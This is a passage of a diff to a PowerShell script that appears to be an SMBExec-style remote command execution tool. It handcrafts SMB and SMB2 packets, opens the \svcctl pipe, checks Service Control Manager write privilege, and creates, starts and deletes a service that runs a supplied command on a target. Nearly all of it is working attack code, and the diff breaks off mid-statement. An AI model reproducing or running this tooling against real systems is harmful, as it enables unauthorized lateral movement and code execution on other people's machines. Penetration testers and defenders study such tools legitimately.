= $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB_sign = $session_key + $SMB_header + $SMB_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'RPCBind' + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = 'CreateAndXRequest' } - - 'RPCBind' + + 'TreeDisconnect' { - $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl - $SMB_file_ID = $SMB_client_receive[132..147] - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - + $packet_SMB_header = New-PacketSMBHeader 0x71 0x18 0x07,0xc8 $SMB_tree_ID $process_ID $SMB_user_ID + if($SMB_signing) { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + $packet_SMB_header["Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["Signature"] = $SMB_signing_sequence } - $packet_RPC_data = Get-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBTreeDisconnectRequest + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { - $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB_sign = $session_key + $SMB_header + $SMB_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'OpenSCManagerW' + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = 'Logoff' } - - 'ReadRequest' - { - Start-Sleep -m $Sleep - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x08,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SMB2_header["SMB2Header_CreditCharge"] = 0x10,0x00 - - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 - } + } + + } - $packet_SMB2_data = Get-PacketSMB2ReadRequest $SMB_file_ID - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + } + else + { + + $stage = 'TreeConnect' - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } + try + { - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + while ($stage -ne 'Exit') + { - if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') - { - $SMB_client_stage = $SMB_client_stage_next - } - else + switch ($stage) + { + + 'CheckAccess' { - $SMB_client_stage = 'StatusPending' - } - } + if([System.BitConverter]::ToString($client_receive[128..131]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($client_receive[108..127]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') + { - 'StatusPending' - { - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_service_manager_context_handle = $client_receive[108..127] + + if($SMB_execute -eq $true) + { + Write-Verbose "$output_username has Service Control Manager write privilege on $Target" + $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + + if($SCM_data.Length -lt $SMB_split_index) + { + $stage = 'CreateServiceW' + } + else + { + $stage = 'CreateServiceW_First' + } + + } + else + { + Write-Output "[+] $output_username has Service Control Manager write privilege on $Target" + $SMB_close_service_handle_stage = 2 + $stage = 'CloseServiceHandle' + } + + } + elseif([System.BitConverter]::ToString($client_receive[128..131]) -eq '05-00-00-00') + { + Write-Output "[-] $output_username does not have Service Control Manager write privilege on $Target" + $stage = 'Exit' + } + else + { + Write-Output "[-] Something went wrong with $Target" + $stage = 'Exit' + } - if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') - { - $SMB_client_stage = $SMB_client_stage_next } - } - - 'OpenSCManagerW' - { - $SMB2_message_ID = 30 - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - - if($SMB_signing) + 'CloseRequest' { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 - } + $stage_current = $stage + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x06,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2CloseRequest $file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $packet_SCM_data = Get-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } - if($SMB_signing) + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $stage = 'SendReceive' + } + + 'CloseServiceHandle' { - $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + + if($SMB_close_service_handle_stage -eq 1) + { + Write-Verbose "Service $SMB_service deleted on $Target" + $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_context_handle + } + else + { + $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle + } + + $SMB_close_service_handle_stage++ + $stage_current = $stage + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x00,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID ($RPC_data.Length + $SCM_data.Length) $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $stage = 'SendReceive' } + + 'CreateRequest' + { + $stage_current = $stage + $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'CheckAccess' - } + $packet_SMB2_data = New-PacketSMB2CreateRequestFile $SMB_named_pipe_bytes + $packet_SMB2_data["Share_Access"] = 0x07,0x00,0x00,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - 'CheckAccess' - { + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } - if([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[108..127]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') - { + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_service_manager_context_handle = $SMB_client_receive[108..127] - - if($SMB_execute -eq $true) + try { - Write-Verbose "$output_username is a local administrator on $Target" - $packet_SCM_data = Get-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null - if($SCM_data.Length -lt $SMB_split_index) + if(Get-StatusPending $client_receive[12..15]) { - $SMB_client_stage = 'CreateServiceW' + $stage = 'StatusPending' } else { - $SMB_client_stage = 'CreateServiceW_First' + $stage = 'StatusReceived' } } - else + catch { - Write-Output "$output_username is a local administrator on $Target" - $SMB2_message_ID += 20 - $SMB_close_service_handle_stage = 2 - $SMB_client_stage = 'CloseServiceHandle' - } + Write-Output "[-] Session connection is closed" + $stage = 'Exit' + } } - elseif([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '05-00-00-00') - { - Write-Output "$output_username is not a local administrator or does not have required privilege on $Target" - $SMBExec_failed = $true - } - else - { - Write-Output "Something went wrong with $Target" - $SMBExec_failed = $true - } - } - - 'CreateServiceW' - { - - if($SMBExec_command_bytes.Length -lt $SMB_split_index) + 'CreateServiceW' { - $SMB2_message_ID += 20 - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $stage_current = $stage + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID if($SMB_signing) { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 } - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID ($RPC_data.Length + $SCM_data.Length) $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) @@ -2181,186 +2324,217 @@ if($SMB_client.Connected) $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $packet_SMB2_header["Signature"] = $SMB2_signature $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'StartServiceW' + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $stage = 'SendReceive' } - else + + 'CreateServiceW_First' { + $stage_current = $stage + $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - - } - } + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } - 'CreateServiceW_First' - { - $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) - $SMB2_message_ID += 20 - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 - } + $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] + $packet_RPC_data = New-PacketRPCRequest 0x01 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first + $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) + $SMB_split_index_tracker = $SMB_split_index + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] - $packet_RPC_data = Get-PacketRPCRequest 0x01 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first - $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) - $SMB_split_index_tracker = $SMB_split_index - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } - if($SMB_signing) + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $stage = 'SendReceive' + } + + 'CreateServiceW_Middle' { - $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $stage_current = $stage + $SMB_split_stage++ + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] + $SMB_split_index_tracker += $SMB_split_index + $packet_RPC_data = New-PacketRPCRequest 0x00 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle + $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID $RPC_data.Length $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } - if($SMB_split_stage_final -le 2) - { - $SMB_client_stage = 'CreateServiceW_Last' + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $stage = 'SendReceive' } - else + + 'CreateServiceW_Last' { - $SMB_split_stage = 2 - $SMB_client_stage = 'CreateServiceW_Middle' - } + $stage_current = $stage + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } - } + $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] + $packet_RPC_data = New-PacketRPCRequest 0x02 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - 'CreateServiceW_Middle' - { - $SMB_split_stage++ - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $stage = 'SendReceive' } - $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] - $SMB_split_index_tracker += $SMB_split_index - $packet_RPC_data = Get-PacketRPCRequest 0x00 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle - $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + 'DeleteServiceW' + { - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } + if([System.BitConverter]::ToString($client_receive[108..111]) -eq '1d-04-00-00') + { + Write-Output "[+] Command executed with service $SMB_service on $Target" + } + elseif([System.BitConverter]::ToString($client_receive[108..111]) -eq '02-00-00-00') + { + Write-Output "[-] Service $SMB_service failed to start on $Target" + } - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $stage_current = $stage + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } - if($SMB_split_stage -ge $SMB_split_stage_final) - { - $SMB_client_stage = 'CreateServiceW_Last' - } - else - { - $SMB_client_stage = 'CreateServiceW_Middle' - } + $packet_SCM_data = New-PacketSCMDeleteServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - } + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } - 'CreateServiceW_Last' - { - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $stage = 'SendReceive' } - $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] - $packet_RPC_data = Get-PacketRPCRequest 0x02 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = 